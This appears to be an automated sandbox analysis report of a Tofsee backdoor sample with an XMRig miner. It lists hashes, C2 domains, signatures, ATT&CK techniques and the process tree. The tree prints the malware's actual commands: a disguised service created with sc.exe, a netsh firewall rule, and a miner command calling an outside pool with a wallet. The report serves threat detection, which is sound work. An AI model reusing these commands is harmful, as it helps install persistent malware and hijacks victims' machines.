Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    05-06-2022 13:32

General

  • Target

    33625a61049adc1d32e7478e65781d1d35909d033b6410f87727fc533bbb5ed8.exe

  • Size

    265KB

  • MD5

    7e1a83a5cb0b0534588cf783c0b3dd4e

  • SHA1

    9ded7ea8e1b71605ca83ef1e1083d9ec703d2dde

  • SHA256

    33625a61049adc1d32e7478e65781d1d35909d033b6410f87727fc533bbb5ed8

  • SHA512

    775c3f81d9494fddcce0ddd45ad6e62deed6dc6c03fd5ed0ab3f19603f813d0f8a99c290d69ae2abb80115e88775c4cb5c45912ed0e954033b5a4e912ae591d2

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\33625a61049adc1d32e7478e65781d1d35909d033b6410f87727fc533bbb5ed8.exe
    "C:\Users\Admin\AppData\Local\Temp\33625a61049adc1d32e7478e65781d1d35909d033b6410f87727fc533bbb5ed8.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:2496
  • C:\Users\Admin\AppData\Local\Temp\7E29.exe
    C:\Users\Admin\AppData\Local\Temp\7E29.exe
    1⤵
    • Executes dropped EXE
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3536
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nudjhqxg\
      2⤵
        PID:636
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zebtmfbq.exe" C:\Windows\SysWOW64\nudjhqxg\
        2⤵
          PID:116
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nudjhqxg binPath= "C:\Windows\SysWOW64\nudjhqxg\zebtmfbq.exe /d\"C:\Users\Admin\AppData\Local\Temp\7E29.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4676
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nudjhqxg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1932
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nudjhqxg
          2⤵
          • Launches sc.exe
          PID:4280
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4928
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3536 -s 1216
          2⤵
          • Program crash
          PID:5040
      • C:\Windows\SysWOW64\nudjhqxg\zebtmfbq.exe
        C:\Windows\SysWOW64\nudjhqxg\zebtmfbq.exe /d"C:\Users\Admin\AppData\Local\Temp\7E29.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2132
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1836
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3320
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2132 -s 520
          2⤵
          • Program crash
          PID:3516
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3536 -ip 3536
        1⤵
          PID:412
        • C:\Users\Admin\AppData\Local\Temp\9F6D.exe
          C:\Users\Admin\AppData\Local\Temp\9F6D.exe
          1⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1016
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2132 -ip 2132
          1⤵
            PID:1164
          • C:\Windows\SysWOW64\explorer.exe
            C:\Windows\SysWOW64\explorer.exe
            1⤵
              PID:4652
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 4652 -s 872
                2⤵
                • Program crash
                PID:3208
            • C:\Windows\explorer.exe
              C:\Windows\explorer.exe
              1⤵
                PID:872
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4652 -ip 4652
                1⤵
                  PID:3192

                Network

                MITRE ATT&CK Matrix ATT&CK v6

                Persistence

                New Service

                1
                T1050

                Modify Existing Service

                1
                T1031

                Registry Run Keys / Startup Folder

                1
                T1060

                Privilege Escalation

                New Service

                1
                T1050

                Defense Evasion

                Modify Registry

                1
                T1112

                Credential Access

                Credentials in Files

                2
                T1081

                Discovery

                Query Registry

                3
                T1012

                System Information Discovery

                3
                T1082

                Peripheral Device Discovery

                1
                T1120

                Collection

                Data from Local System

                2
                T1005

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\LocalLow\mozglue.dll
                  Filesize

                  612KB

                  MD5

                  f07d9977430e762b563eaadc2b94bbfa

                  SHA1

                  da0a05b2b8d269fb73558dfcf0ed5c167f6d3877

                  SHA256

                  4191faf7e5eb105a0f4c5c6ed3e9e9c71014e8aa39bbee313bc92d1411e9e862

                  SHA512

                  6afd512e4099643bba3fc7700dd72744156b78b7bda10263ba1f8571d1e282133a433215a9222a7799f9824f244a2bc80c2816a62de1497017a4b26d562b7eaf

                • C:\Users\Admin\AppData\LocalLow\nss3.dll
                  Filesize

                  1.9MB

                  MD5

                  f67d08e8c02574cbc2f1122c53bfb976

                  SHA1

                  6522992957e7e4d074947cad63189f308a80fcf2

                  SHA256

                  c65b7afb05ee2b2687e6280594019068c3d3829182dfe8604ce4adf2116cc46e

                  SHA512

                  2e9d0a211d2b085514f181852fae6e7ca6aed4d29f396348bedb59c556e39621810a9a74671566a49e126ec73a60d0f781fa9085eb407df1eefd942c18853be5

                • C:\Users\Admin\AppData\LocalLow\sqlite3.dll
                  Filesize

                  1.0MB

                  MD5

                  dbf4f8dcefb8056dc6bae4b67ff810ce

                  SHA1

                  bbac1dd8a07c6069415c04b62747d794736d0689

                  SHA256

                  47b64311719000fa8c432165a0fdcdfed735d5b54977b052de915b1cbbbf9d68

                  SHA512

                  b572ca2f2e4a5cc93e4fcc7a18c0ae6df888aa4c55bc7da591e316927a4b5cfcbdda6e60018950be891ff3b26f470cc5cce34d217c2d35074322ab84c32a25d1

                • C:\Users\Admin\AppData\Local\Temp\7E29.exe
                  Filesize

                  266KB

                  MD5

                  bffacbdec5ffc73ebf7b34cb9845da57

                  SHA1

                  d97ccdd9084f8aa6d713043293a866389a23f4f9

                  SHA256

                  bae588fa5d58a7907571344a1253897e3c90748e669ec4d83ff03c2fa60e11e7

                  SHA512

                  fa6aee45e9b77a2db69751bec5d3e2fa473ace9eccd9a0857a55020fad9758f8ac5b1810cfc011956b18c8ba903bb0ee3ad6727d171010ad0db1a30f93fb5bbf

                • C:\Users\Admin\AppData\Local\Temp\7E29.exe
                  Filesize

                  266KB

                  MD5

                  bffacbdec5ffc73ebf7b34cb9845da57

                  SHA1

                  d97ccdd9084f8aa6d713043293a866389a23f4f9

                  SHA256

                  bae588fa5d58a7907571344a1253897e3c90748e669ec4d83ff03c2fa60e11e7

                  SHA512

                  fa6aee45e9b77a2db69751bec5d3e2fa473ace9eccd9a0857a55020fad9758f8ac5b1810cfc011956b18c8ba903bb0ee3ad6727d171010ad0db1a30f93fb5bbf

                • C:\Users\Admin\AppData\Local\Temp\9F6D.exe
                  Filesize

                  4.3MB

                  MD5

                  d3d62d8d274195ab9af9c028fea9ca4b

                  SHA1

                  ae84938ab3b4bb8411f726f617cec9a4707da43e

                  SHA256

                  4751a136cf8bf5807b4714ebfba31096ed385b4e424bdb4d9cd94c5da18dfb19

                  SHA512

                  7633107dd57fce28e8f150d32c56226670065128ea1882decb6257314df1202c33673fc4b56a0a28196500bcc595db8bc5fc6dd5f3e6a3d9f4234af9b03f0b15

                • C:\Users\Admin\AppData\Local\Temp\9F6D.exe
                  Filesize

                  4.3MB

                  MD5

                  d3d62d8d274195ab9af9c028fea9ca4b

                  SHA1

                  ae84938ab3b4bb8411f726f617cec9a4707da43e

                  SHA256

                  4751a136cf8bf5807b4714ebfba31096ed385b4e424bdb4d9cd94c5da18dfb19

                  SHA512

                  7633107dd57fce28e8f150d32c56226670065128ea1882decb6257314df1202c33673fc4b56a0a28196500bcc595db8bc5fc6dd5f3e6a3d9f4234af9b03f0b15

                • C:\Users\Admin\AppData\Local\Temp\zebtmfbq.exe
                  Filesize

                  12.2MB

                  MD5

                  b2fbab76dc91b05d6cdd79c4f92fcc88

                  SHA1

                  12364140ea91e741b0e32ca51d63ffb04e6d8b50

                  SHA256

                  548ea547f148d0fb741a31d2ea01fe37e0afb091c3e5f7a2a6d93a8519b38c0d

                  SHA512

                  c5e6be3e8efa28c122ee7f4841447ed1adfa73f46d4b6fbb729487f3a5662dfe0ea055d78591dfe8ed919ff57d2b58d3f7b4ee91d5f39cf9b8d88d40016de906

                • C:\Windows\SysWOW64\nudjhqxg\zebtmfbq.exe
                  Filesize

                  12.2MB

                  MD5

                  b2fbab76dc91b05d6cdd79c4f92fcc88

                  SHA1

                  12364140ea91e741b0e32ca51d63ffb04e6d8b50

                  SHA256

                  548ea547f148d0fb741a31d2ea01fe37e0afb091c3e5f7a2a6d93a8519b38c0d

                  SHA512

                  c5e6be3e8efa28c122ee7f4841447ed1adfa73f46d4b6fbb729487f3a5662dfe0ea055d78591dfe8ed919ff57d2b58d3f7b4ee91d5f39cf9b8d88d40016de906

                • memory/116-141-0x0000000000000000-mapping.dmp
                • memory/636-139-0x0000000000000000-mapping.dmp
                • memory/872-165-0x0000000000000000-mapping.dmp
                • memory/872-167-0x0000000000480000-0x000000000048C000-memory.dmp
                  Filesize

                  48KB

                • memory/1016-157-0x0000000000290000-0x00000000009AC000-memory.dmp
                  Filesize

                  7.1MB

                • memory/1016-162-0x0000000000290000-0x00000000009AC000-memory.dmp
                  Filesize

                  7.1MB

                • memory/1016-199-0x0000000000290000-0x00000000009AC000-memory.dmp
                  Filesize

                  7.1MB

                • memory/1016-150-0x0000000000000000-mapping.dmp
                • memory/1836-153-0x0000000000000000-mapping.dmp
                • memory/1836-184-0x0000000001FE0000-0x0000000001FE7000-memory.dmp
                  Filesize

                  28KB

                • memory/1836-172-0x0000000001FB0000-0x0000000001FB6000-memory.dmp
                  Filesize

                  24KB

                • memory/1836-169-0x0000000002800000-0x0000000002A0F000-memory.dmp
                  Filesize

                  2.1MB

                • memory/1836-178-0x0000000001FD0000-0x0000000001FD5000-memory.dmp
                  Filesize

                  20KB

                • memory/1836-181-0x0000000007800000-0x0000000007C0B000-memory.dmp
                  Filesize

                  4.0MB

                • memory/1836-154-0x0000000000C40000-0x0000000000C55000-memory.dmp
                  Filesize

                  84KB

                • memory/1836-175-0x0000000001FC0000-0x0000000001FD0000-memory.dmp
                  Filesize

                  64KB

                • memory/1836-196-0x0000000000C40000-0x0000000000C55000-memory.dmp
                  Filesize

                  84KB

                • memory/1836-163-0x0000000000C40000-0x0000000000C55000-memory.dmp
                  Filesize

                  84KB

                • memory/1932-144-0x0000000000000000-mapping.dmp
                • memory/2132-158-0x0000000002FDE000-0x0000000002FEE000-memory.dmp
                  Filesize

                  64KB

                • memory/2132-161-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/2132-195-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/2496-130-0x0000000002FA2000-0x0000000002FB2000-memory.dmp
                  Filesize

                  64KB

                • memory/2496-133-0x0000000000400000-0x0000000002DB9000-memory.dmp
                  Filesize

                  41.7MB

                • memory/2496-132-0x0000000000400000-0x0000000002DB9000-memory.dmp
                  Filesize

                  41.7MB

                • memory/2496-131-0x0000000002F10000-0x0000000002F19000-memory.dmp
                  Filesize

                  36KB

                • memory/3320-193-0x0000000000E30000-0x0000000000F21000-memory.dmp
                  Filesize

                  964KB

                • memory/3320-188-0x0000000000E30000-0x0000000000F21000-memory.dmp
                  Filesize

                  964KB

                • memory/3320-187-0x0000000000000000-mapping.dmp
                • memory/3536-137-0x0000000003063000-0x0000000003074000-memory.dmp
                  Filesize

                  68KB

                • memory/3536-148-0x0000000003063000-0x0000000003074000-memory.dmp
                  Filesize

                  68KB

                • memory/3536-138-0x0000000002ED0000-0x0000000002EE3000-memory.dmp
                  Filesize

                  76KB

                • memory/3536-140-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/3536-134-0x0000000000000000-mapping.dmp
                • memory/3536-149-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/4280-145-0x0000000000000000-mapping.dmp
                • memory/4652-168-0x0000000001110000-0x000000000117B000-memory.dmp
                  Filesize

                  428KB

                • memory/4652-166-0x0000000001180000-0x00000000011F4000-memory.dmp
                  Filesize

                  464KB

                • memory/4652-164-0x0000000001110000-0x000000000117B000-memory.dmp
                  Filesize

                  428KB

                • memory/4652-160-0x0000000000000000-mapping.dmp
                • memory/4676-143-0x0000000000000000-mapping.dmp
                • memory/4928-146-0x0000000000000000-mapping.dmp